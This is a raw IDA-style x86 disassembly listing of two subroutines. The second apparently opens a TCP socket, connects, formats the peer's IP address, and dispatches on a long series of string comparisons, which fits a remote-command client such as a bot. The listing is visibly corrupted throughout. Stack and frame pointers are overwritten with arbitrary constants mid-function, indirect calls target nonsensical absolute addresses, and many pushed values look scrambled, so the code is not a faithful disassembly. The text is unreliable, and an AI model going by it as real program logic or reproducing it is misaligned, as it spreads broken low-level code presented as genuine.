		push	edi
		push	25h
		push	1Dh
		push	23h
		lea	ecx, [esp+4Ch+var_24]
		push	25h
		push	ecx
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Eh
		call	sub_401726
		push	eax
		push	0B1C33h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	2Eh
		push	2Ch
		push	1Bh
		lea	edx, [esp+4Ch+var_24]
		push	2Ah
		push	edx
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 1Fh
		call	sub_401726
		push	eax
		push	offset byte_458E19
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	1Fh
		push	1Eh
		push	29h
		lea	eax, [esp+4Ch+var_24]
		push	27h
		push	eax
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 20h
		call	sub_401726
		push	eax
		push	62C70Ch
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi


loc_40E8B4:				; DATA XREF: _294ADE7B:0040A4D1o
		push	45h
		push	44h
		lea	ecx, [esp+48h+var_24]
		push	44h
		push	ecx
		call	sub_4018DE
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 21h
		call	sub_401726
		push	eax
		push	316386h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	49h
		push	44h
		lea	edx, [esp+48h+var_24]
		push	44h
		push	edx
		call	sub_4018DE
		add	esp, 14h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 22h
		call	sub_401726
		push	eax
		push	18B1C3h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		push	edi
		push	2Eh
		push	23h
		push	2Fh
		lea	eax, [esp+4Ch+var_24]
		push	2Bh
		push	eax
		call	sub_4018DE
		add	esp, 18h
		mov	ecx, eax
		mov	byte ptr [esp+3Ch+var_4], 23h
		call	sub_401726
		push	eax
		push	4C58E1h
		call	sub_401BE0
		add	esp, 8
		lea	ecx, [esp+3Ch+var_24]
		mov	byte ptr [esp+3Ch+var_4], bl
		call	sub_4011F9
		mov	ecx, [esp+3Ch+var_C]
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 2Ch
		retn
sub_40E390	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 180h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40EB00	proc near		; CODE XREF: sub_401FA0j

var_E		= byte ptr -0Eh
var_D		= byte ptr -0Dh
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_1C		= byte ptr  20h
arg_1E		= word ptr  22h
arg_20		= dword	ptr  24h
arg_24		= dword	ptr  28h
arg_28		= dword	ptr  2Ch
arg_2C		= dword	ptr  30h
arg_34		= byte ptr  38h
arg_4C		= byte ptr  50h
arg_64		= byte ptr  68h
arg_7C		= byte ptr  80h
arg_94		= byte ptr  98h
arg_AC		= byte ptr  0B0h
arg_C4		= byte ptr  0C8h
arg_DC		= byte ptr  0E0h
arg_F4		= byte ptr  0F8h
arg_10C		= byte ptr  110h
arg_124		= byte ptr  128h
arg_13C		= byte ptr  140h
arg_154		= byte ptr  158h
arg_16C		= byte ptr  170h
arg_184		= byte ptr  188h
arg_19C		= byte ptr  1A0h
arg_1B4		= byte ptr  1B8h
arg_1CC		= byte ptr  1D0h
arg_1E4		= byte ptr  1E8h
arg_1FC		= byte ptr  200h
arg_214		= byte ptr  218h
arg_22C		= byte ptr  230h
arg_244		= byte ptr  248h
arg_25C		= byte ptr  260h
arg_274		= byte ptr  278h
arg_28C		= byte ptr  290h
arg_2A4		= byte ptr  2A8h
arg_2BC		= byte ptr  2C0h
arg_2D4		= byte ptr  2D8h
arg_2EC		= byte ptr  2F0h
arg_304		= byte ptr  308h
arg_31C		= byte ptr  320h
arg_334		= byte ptr  338h
arg_34C		= byte ptr  350h
arg_364		= byte ptr  368h
arg_37C		= byte ptr  380h
arg_394		= byte ptr  398h
arg_3AC		= byte ptr  3B0h
arg_3C4		= byte ptr  3C8h
arg_3DC		= byte ptr  3E0h
arg_3F4		= byte ptr  3F8h
arg_408		= byte ptr  40Ch
arg_40C		= byte ptr  410h
arg_464		= byte ptr  468h
arg_2464	= dword	ptr  2468h
arg_246C	= dword	ptr  2470h
arg_2470	= dword	ptr  2474h

		push	0FFFFFFFFh
		mov	eax, large fs:0
		push	262C70h
		push	eax
		mov	ecx, 874C58h
		mov	large fs:0, esp
		call	sub_430390
		push	ebx
		push	ebp
		mov	ebp, ecx
		push	esi
		push	edi
		lea	ecx, [esp+1Ch+var_4]
		call	sub_4013CF
		mov	al, [ebp+17h]
		xor	ebx, ebx
		cmp	al, bl
		mov	[esp+1Ch+arg_2470], ebx
		jz	loc_40FED0


loc_40EB42:				; CODE XREF: sub_40EB00+13CAj
		mov	al, ds:byte_499254
		mov	edi, ds:dword_4B38D0
		cmp	al, bl
		jz	loc_40FED0
		mov	eax, [ebp+20h]
		cmp	eax, ebx
		jnz	short loc_40EB6A
		cmp	dword ptr [ebp+1Ch], 5
		jg	short loc_40EB74
		cmp	eax, ebx
		jz	loc_40ECAE


loc_40EB6A:				; CODE XREF: sub_40EB00+5Aj
		cmp	dword ptr [ebp+1Ch], 2
		jle	loc_40ECAE


loc_40EB74:				; CODE XREF: sub_40EB00+60j
		mov	eax, [ebp+18h]
		mov	[ebp+16h], bl
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+15h], bl
		jz	short loc_40EB89
		push	eax
		call	ds:dword_4BA62C


loc_40EB89:				; CODE XREF: sub_40EB00+80j
		mov	edx, offset byte_465D31
		mov	dword ptr [ebp+18h], 0FFFFFFFFh
		call	sub_4014CE
		mov	esi, [ebp+20h]
		inc	esi
		mov	[ebp+20h], esi
		lea	esi, [ebp+2DAh]
		mov	ecx, esi
		call	sub_40189D
		mov	ecx, [ebp+20h]
		dec	eax
		cmp	ecx, eax
		jbe	short loc_40EBB9
		mov	[ebp+20h], ebx


loc_40EBB9:				; CODE XREF: sub_40EB00+B4j
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		mov	[ebp+1Ch], ebx
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 16Dh
		push	ecx
		push	2B2E98h
		mov	esp, 4CACBAh
		call	sub_401DED
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401415
		mov	eax, [eax]
		mov	edi, 64CACBh
		add	eax, 1B6h
		push	eax
		push	3A6565h
		call	sub_401DED
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401415
		mov	edx, [eax]
		mov	esi, 5D32Bh


loc_40EC13:				; DATA XREF: sub_40EB00+7CCo
		push	edx
		push	2E995h
		call	sub_401DED
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 124h
		push	ecx
		push	174CAh
		mov	ecx, 20174Ch
		call	sub_401DED
		mov	edx, [ebp+20h]
		mov	ecx, esi
		push	edx
		call	sub_401415
		mov	eax, [eax]
		mov	esp, 0E180BAh
		add	eax, 0DBh
		push	eax
		push	78C05Dh
		call	sub_401DED
		mov	ecx, [ebp+20h]
		push	ecx
		mov	ecx, esi
		call	sub_401415
		mov	edx, [eax]
		mov	ebp, 0A7C602h
		add	edx, 92h
		push	edx
		push	5BE301h
		call	sub_401DED
		mov	eax, [ebp+20h]
		mov	ecx, esi
		push	eax
		call	sub_401415
		mov	ecx, [eax]
		add	ecx, 1FFh
		push	ecx
		push	6DF180h
		mov	eax, 8D1B7Ch
		call	sub_401DED
		call	edi
		mov	[ebp+24h], eax


loc_40ECAE:				; CODE XREF: sub_40EB00+64j
					; sub_40EB00+6Ej
		mov	edx, [ebp+18h]
		cmp	edx, 0FFFFFFFFh
		jnz	short loc_40ECD8
		push	6
		push	1
		push	2
		call	dword ptr ds:4E8DBEh
		push	2746DFh
		mov	[ebp+18h], eax
		mov	[ebp+15h], bl
		call	dword ptr ds:53A36Fh
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40ECD8:				; CODE XREF: sub_40EB00+1B4j
		cmp	[ebp+15h], bl
		jnz	loc_40EE68
		mov	ax, ds:word_4401C4
		xor	edx, edx
		mov	[esp+20h+arg_20], edx
		push	eax
		mov	[esp+24h+arg_24], edx
		mov	word ptr [esp+24h+arg_20], 2
		mov	[esp+24h+arg_28], edx
		mov	[esp+24h+arg_2C], edx
		call	dword ptr ds:69D1B7h
		mov	ebp, 0EFA746h
		mov	[esp+24h+arg_1E], ax
		call	sub_401726
		push	eax
		call	sub_4017C1
		add	esp, 4
		mov	[esp+24h+arg_20], eax
		call	edi
		mov	edx, [ebp+18h]
		lea	ecx, [esp+24h+arg_1C]
		push	10h
		push	ecx
		push	edx
		mov	[ebp+24h], eax
		call	dword ptr ds:7FD3A3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40ED58
		push	7FE9D1h
		call	dword ptr ds:7FF4E8h
		mov	eax, [ebp+1Ch]
		mov	[ebp+15h], bl
		inc	eax
		mov	[ebp+1Ch], eax
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40ED58:				; CODE XREF: sub_40EB00+23Cj
		mov	byte ptr [ebp+15h], 1
		mov	[ebp+16h], bl
		call	edi
		mov	[ebp+24h], eax
		xor	eax, eax
		mov	[esp+30h+arg_0], eax
		lea	ecx, [esp+30h+arg_20]
		mov	[esp+30h+arg_4], eax
		lea	edx, [esp+30h+arg_0]
		mov	[esp+30h+arg_8], eax
		push	ecx
		mov	[esp+34h+arg_C], eax
		mov	eax, [ebp+18h]
		push	edx
		push	eax
		mov	[esp+3Ch+arg_20], 10h
		call	dword ptr ds:3FFA74h
		mov	ecx, [esp+3Ch+var_4+3]
		mov	edx, [esp+3Ch+var_4+2]
		mov	eax, [esp+3Ch+var_4+1]
		and	ecx, 0FFh
		push	ecx
		mov	ecx, [esp+40h+var_4]
		and	edx, 0FFh
		and	eax, 0FFh
		push	edx
		and	ecx, 0FFh
		push	eax
		push	ecx
		lea	edx, [esp+4Ch+arg_408]
		push	1FFD3Ah
		push	edx
		call	dword ptr ds:4FFE9Dh
		add	esp, 18h
		lea	eax, [esp+3Ch+arg_408]
		lea	ecx, [ebp+3Dh]
		push	eax
		call	sub_401564
		lea	ecx, [esp+3Ch+arg_408]
		push	ecx
		call	dword ptr ds:67FF4Eh
		push	33FFA7h
		mov	ebp, 82CFFEh
		mov	[ebp+52h], eax
		call	sub_4012B7
		test	eax, eax
		jz	short loc_40EE27
		mov	edi, 24B3Fh
		call	sub_401726
		mov	edx, ds:dword_43FF74
		push	eax
		push	edx
		push	9259Fh
		push	ebp
		call	sub_401CDA
		add	esp, 10h


loc_40EE27:				; CODE XREF: sub_40EB00+305j
		mov	esp, 62496h
		call	sub_401726
		push	eax
		mov	esp, 2C5892h
		call	sub_401726
		push	eax
		mov	eax, ds:dword_43FF7C
		push	eax
		mov	edx, 0C2C589h
		call	sub_401726
		mov	ecx, ds:dword_43FF78
		push	eax
		push	ecx
		push	6962C4h
		push	ebp
		call	sub_401CDA
		add	esp, 1Ch
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40EE68:				; CODE XREF: sub_40EB00+1DBj
		mov	esp, 8B4B16h
		xor	eax, eax
		lea	edi, [esp+20h+arg_464]
		push	ebx
		rep stosd
		lea	eax, [esp+24h+arg_464]
		push	offset byte_45A58B
		push	eax
		push	edx
		call	sub_40124E
		add	esp, 10h
		cmp	al, bl
		jz	loc_40FEC0
		call	dword ptr ds:62D2C5h
		lea	ecx, [esp+20h+var_8]
		mov	[ebp+24h], eax
		call	sub_401B9A
		lea	ecx, [esp+20h+arg_464]
		push	ecx
		lea	ecx, [esp+24h+var_8]
		call	sub_4019A1
		push	716962h
		lea	edx, [esp+24h+arg_364]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF80
		mov	byte ptr [esp+20h+arg_246C], 1
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_40EF40
		push	38B4B1h
		lea	edx, [esp+24h+arg_3F4]
		push	4
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	1C5A58h
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 2
		call	sub_401A7D
		test	eax, eax
		lea	ecx, [esp+20h+arg_3F4]
		mov	byte ptr [esp+20h+arg_246C], 1
		setz	[esp+20h+var_D]
		call	sub_4011F9
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_40EF44


loc_40EF40:				; CODE XREF: sub_40EB00+3EAj
		mov	[esp+20h+var_D], bl


loc_40EF44:				; CODE XREF: sub_40EB00+43Ej
		lea	ecx, [esp+20h+arg_364]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	short loc_40EF66
		mov	byte ptr [ebp+16h], 1
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40EF66:				; CODE XREF: sub_40EB00+45Bj
		push	4E2D2Ch
		lea	eax, [esp+24h+arg_F4]
		push	ebx
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF54
		mov	byte ptr [esp+20h+arg_246C], 3
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_F4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		mov	al, [esp+20h+var_D]
		push	671696h
		cmp	al, bl
		push	1
		jz	short loc_40F004
		lea	edx, [esp+28h+arg_2A4]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 4
		call	sub_401726
		push	eax
		mov	eax, ds:dword_43FF70
		push	eax
		push	738B4Bh
		push	ebp
		call	sub_401CDA
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2A4]
		jmp	loc_40F132
; ---------------------------------------------------------------------------


loc_40F004:				; CODE XREF: sub_40EB00+4BAj
		lea	edx, [esp+28h+arg_124]
		lea	ecx, [esp+28h+var_8]
		push	edx
		call	sub_401622
		mov	ecx, ds:dword_43FF58
		mov	byte ptr [esp+20h+arg_246C], 5
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_124]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		mov	al, [esp+20h+var_D]
		push	39C5A5h
		cmp	al, bl
		jz	loc_40F170
		lea	edx, [esp+24h+arg_40C]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	5CE2D2h
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 6
		call	sub_4012B7
		lea	ecx, [esp+20h+arg_40C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		cmp	esi, ebx
		jz	loc_40FEC7
		push	2E7169h
		lea	eax, [esp+24h+arg_154]
		push	11h
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF70
		mov	byte ptr [esp+20h+arg_246C], 7
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_154]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	short loc_40F137
		push	5738B4h
		lea	edx, [esp+24h+arg_2D4]
		push	12h
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 8
		call	sub_401726
		push	eax
		mov	eax, ds:dword_43FF70
		push	eax
		push	2B9C5Ah
		push	ebp
		call	sub_401CDA
		add	esp, 10h
		mov	byte ptr [esp+20h+arg_246C], bl
		lea	ecx, [esp+20h+arg_2D4]


loc_40F132:				; CODE XREF: sub_40EB00+4FFj
		call	sub_4011F9


loc_40F137:				; CODE XREF: sub_40EB00+5E6j
		cmp	[ebp+16h], bl
		jnz	loc_40FEC7
		mov	ebx, 0A2B9C5h
		call	sub_401726
		push	eax
		mov	esp, 0ED15CEh
		call	sub_401726
		mov	ecx, ds:dword_43FF5C
		push	eax
		push	ecx
		push	7E8AE7h
		push	ebp
		call	sub_401CDA
		add	esp, 14h
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40F170:				; CODE XREF: sub_40EB00+550j
		lea	edx, [esp+24h+arg_394]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF90
		mov	byte ptr [esp+20h+arg_246C], 9
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		jz	short loc_40F1F2
		push	7F4573h
		lea	edx, [esp+24h+arg_184]
		push	1
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF94
		mov	byte ptr [esp+20h+arg_246C], 0Ah
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_184]
		mov	byte ptr [esp+20h+arg_246C], 9
		setz	[esp+20h+var_D]
		call	sub_4011F9
		mov	al, [esp+20h+var_D]
		mov	[esp+20h+var_D], bl
		cmp	al, bl
		jz	short loc_40F1F7


loc_40F1F2:				; CODE XREF: sub_40EB00+69Bj
		mov	[esp+20h+var_D], 1


loc_40F1F7:				; CODE XREF: sub_40EB00+6F0j
		lea	ecx, [esp+20h+arg_394]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	short loc_40F264
		cmp	[ebp+16h], bl
		jnz	short loc_40F240
		mov	esi, 27F457h
		call	sub_401726
		push	eax
		mov	edx, 609FD1h
		call	sub_401726
		mov	edx, ds:dword_43FF5C
		push	eax
		push	edx
		push	304FE8h
		push	ebp
		call	sub_401CDA
		add	esp, 14h


loc_40F240:				; CODE XREF: sub_40EB00+713j
		mov	edi, 0EC13Fh
		call	sub_401726
		push	eax
		mov	eax, ds:dword_43FF64
		push	eax
		push	7609Fh
		push	ebp
		call	sub_401CDA
		add	esp, 10h
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40F264:				; CODE XREF: sub_40EB00+70Ej
		push	3B04Fh
		lea	ecx, [esp+24h+arg_1B4]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	edx, ds:dword_43FF6C
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Bh
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_1B4]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		mov	al, [esp+20h+var_D]
		push	1D827h
		cmp	al, bl
		jz	short loc_40F315
		lea	eax, [esp+24h+arg_94]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	offset loc_40EC13
		lea	ecx, [esp+24h+arg_94]
		mov	byte ptr [esp+24h+arg_246C], 0Ch
		call	sub_401479
		push	eax
		call	dword ptr ds:607609h
		add	esp, 8
		cmp	eax, ebx
		jz	short loc_40F2FD
		inc	eax
		lea	ecx, [ebp+28h]
		push	eax
		call	sub_401564


loc_40F2FD:				; CODE XREF: sub_40EB00+7F1j
		lea	ecx, [esp+20h+arg_94]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40F315:				; CODE XREF: sub_40EB00+7B7j
		lea	ecx, [esp+24h+arg_304]
		push	1
		push	ecx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	edx, ds:dword_43FF68
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+24h+arg_246C], 0Dh
		call	sub_4012B7
		test	eax, eax
		jnz	short loc_40F350
		mov	al, ds:byte_44069C
		mov	[esp+20h+var_D], 1
		cmp	al, bl
		jnz	short loc_40F354


loc_40F350:				; CODE XREF: sub_40EB00+840j
		mov	[esp+20h+var_D], bl


loc_40F354:				; CODE XREF: sub_40EB00+84Ej
		lea	ecx, [esp+20h+arg_304]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	loc_40F661
		push	703B04h
		lea	eax, [esp+24h+arg_4C]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	381D82h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43034A
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 0Fh
		jz	short loc_40F3B2
		mov	ecx, eax
		call	sub_401EE7


loc_40F3B2:				; CODE XREF: sub_40EB00+8A9j
		push	1C0EC1h
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43034A
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 10h
		jz	short loc_40F3DE
		mov	ecx, eax
		call	sub_4010AA


loc_40F3DE:				; CODE XREF: sub_40EB00+8D5j
		push	4E0760h
		lea	ecx, [esp+24h+arg_4C]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_4019BA
		push	2703B0h
		lea	ecx, [esp+24h+arg_7C]
		push	ebx
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		xor	edi, edi
		call	sub_401622
		push	1381D8h
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012B7
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_4011F9
		cmp	esi, ebx
		jz	loc_40F64C


loc_40F43F:				; CODE XREF: sub_40EB00+B46j
		push	9C0ECh
		call	sub_43034A
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 12h
		jz	short loc_40F467
		mov	ecx, eax
		call	sub_401EE7
		mov	esi, eax
		jmp	short loc_40F469
; ---------------------------------------------------------------------------


loc_40F467:				; CODE XREF: sub_40EB00+95Aj
		xor	esi, esi


loc_40F469:				; CODE XREF: sub_40EB00+965j
		push	offset word_44E076
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_43034A
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 13h
		jz	short loc_40F49B
		mov	ecx, eax
		call	sub_4010AA
		mov	[esp+20h+var_C], eax
		jmp	short loc_40F49F
; ---------------------------------------------------------------------------


loc_40F49B:				; CODE XREF: sub_40EB00+98Cj
		mov	[esp+20h+var_C], ebx


loc_40F49F:				; CODE XREF: sub_40EB00+999j
		push	62703Bh
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], 0Eh
		call	sub_40138E
		test	eax, eax
		jz	short loc_40F4C2
		mov	byte ptr [esi+93h], 1
		jmp	short loc_40F4C8
; ---------------------------------------------------------------------------


loc_40F4C2:				; CODE XREF: sub_40EB00+9B7j
		mov	[esi+93h], bl


loc_40F4C8:				; CODE XREF: sub_40EB00+9C0j
		push	31381Dh
		lea	ecx, [esp+24h+var_8]
		call	sub_40138E
		test	eax, eax
		jz	short loc_40F4E3
		mov	byte ptr [esi+94h], 1
		jmp	short loc_40F4E9
; ---------------------------------------------------------------------------


loc_40F4E3:				; CODE XREF: sub_40EB00+9D8j
		mov	[esi+94h], bl


loc_40F4E9:				; CODE XREF: sub_40EB00+9E1j
		push	589C0Eh
		lea	ecx, [esp+24h+var_8]
		call	sub_40138E
		test	eax, eax
		jz	short loc_40F504
		mov	byte ptr [esi+95h], 1
		jmp	short loc_40F50A
; ---------------------------------------------------------------------------


loc_40F504:				; CODE XREF: sub_40EB00+9F9j
		mov	[esi+95h], bl


loc_40F50A:				; CODE XREF: sub_40EB00+A02j
		push	2C4E07h
		lea	edx, [esp+24h+arg_1E4]
		push	3
		push	edx
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	eax
		lea	ecx, [esi+15h]
		mov	byte ptr [esp+24h+arg_246C], 14h
		call	sub_401E65
		lea	ecx, [esp+20h+arg_1E4]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_4011F9
		push	162703h
		lea	ecx, [esi+54h]
		call	sub_401564
		push	offset byte_4B1381
		lea	ecx, [esi+3Fh]
		call	sub_401564
		push	2589C0h
		lea	eax, [esp+24h+arg_AC]
		push	3
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		push	eax
		lea	ecx, [esi+2Ah]
		mov	byte ptr [esp+24h+arg_246C], 15h
		call	sub_401E65
		lea	ecx, [esp+20h+arg_AC]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_4011F9
		push	52C4E0h
		lea	ecx, [esp+24h+arg_214]
		push	edi
		push	ecx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_401622
		mov	ecx, eax
		mov	byte ptr [esp+20h+arg_246C], 16h
		call	sub_401726
		push	eax
		mov	ecx, esi
		call	sub_401564
		lea	ecx, [esp+20h+arg_214]
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_4011F9
		mov	ecx, [esp+20h+var_C]
		push	1
		push	esi
		call	sub_401CB7
		cmp	esi, ebx
		jz	short loc_40F5F9
		push	1
		mov	ecx, esi
		call	sub_4018FC


loc_40F5F9:				; CODE XREF: sub_40EB00+AEEj
		mov	ecx, [esp+20h+var_C]
		call	sub_40137F
		inc	edi
		push	696270h
		lea	edx, [esp+24h+arg_7C]
		push	edi
		push	edx
		lea	ecx, [esp+2Ch+arg_4C]
		call	sub_401622
		push	74B138h
		mov	ecx, eax
		mov	byte ptr [esp+24h+arg_246C], 11h
		call	sub_4012B7
		lea	ecx, [esp+20h+arg_7C]
		mov	esi, eax
		mov	byte ptr [esp+20h+arg_246C], 0Eh
		call	sub_4011F9
		cmp	esi, ebx
		jnz	loc_40F43F


loc_40F64C:				; CODE XREF: sub_40EB00+939j
		lea	ecx, [esp+20h+arg_4C]
		mov	byte ptr [esp+20h+arg_246C], bl
		call	sub_4011F9
		jmp	loc_40FEC7
; ---------------------------------------------------------------------------


loc_40F661:				; CODE XREF: sub_40EB00+86Bj
		push	3A589Ch
		lea	eax, [esp+24h+arg_334]
		push	1
		push	eax
		lea	ecx, [esp+2Ch+var_8]
		call	sub_401622
		mov	ecx, ds:dword_43FF60
		mov	byte ptr [esp+20h+arg_246C], 17h
		push	ecx
		mov	ecx, eax
		call	sub_4012B7
		test	eax, eax
		lea	ecx, [esp+20h+arg_334]
		mov	byte ptr [esp+20h+arg_246C], bl
		setz	[esp+20h+var_D]
		call	sub_4011F9
		cmp	[esp+20h+var_D], bl
		jz	loc_40F97B
		push	1D2C4Eh
		call	sub_43034A
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 18h
		jz	short loc_40F6DB
		mov	ecx, eax
		call	sub_401EE7
		mov	esi, eax
		jmp	short loc_40F6DD
; ---------------------------------------------------------------------------


loc_40F6DB:				; CODE XREF: sub_40EB00+BCEj
		xor	esi, esi


loc_40F6DD:				; CODE XREF: sub_40EB00+BD9j
		push	4E9627h
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_43034A
		add	esp, 4
		mov	[esp+20h+var_C], eax
		cmp	eax, ebx
		mov	byte ptr [esp+20h+arg_246C], 19h
		jz	short loc_40F70C
		mov	ecx, eax
		call	sub_4010AA
		mov	edi, eax
		jmp	short loc_40F70E
; ---------------------------------------------------------------------------


loc_40F70C:				; CODE XREF: sub_40EB00+BFFj
		xor	edi, edi


loc_40F70E:				; CODE XREF: sub_40EB00+C0Aj
		push	674B13h
		lea	ecx, [esp+24h+var_8]
		mov	byte ptr [esp+24h+arg_246C], bl
		call	sub_40138E
		test	eax, eax
		jz	short loc_40F730
		mov	byte ptr [esi+95h], 1
		jmp	short loc_40F736
; ---------------------------------------------------------------------------


loc_40F730:				; CODE XREF: sub_40EB00+C25j
		mov	[esi+95h], bl


loc_40F736:				; CODE XREF: sub_40EB00+C2Ej
		push	33A589h
		lea	ecx, [esp+24h+var_8]
		call	sub_40138E
		test	eax, eax
		jz	short loc_40F751
		mov	byte ptr [esi+93h], 1
		jmp	short loc_40F757
; ---------------------------------------------------------------------------


loc_40F751:				; CODE XREF: sub_40EB00+C46j
		mov	[esi+93h], bl


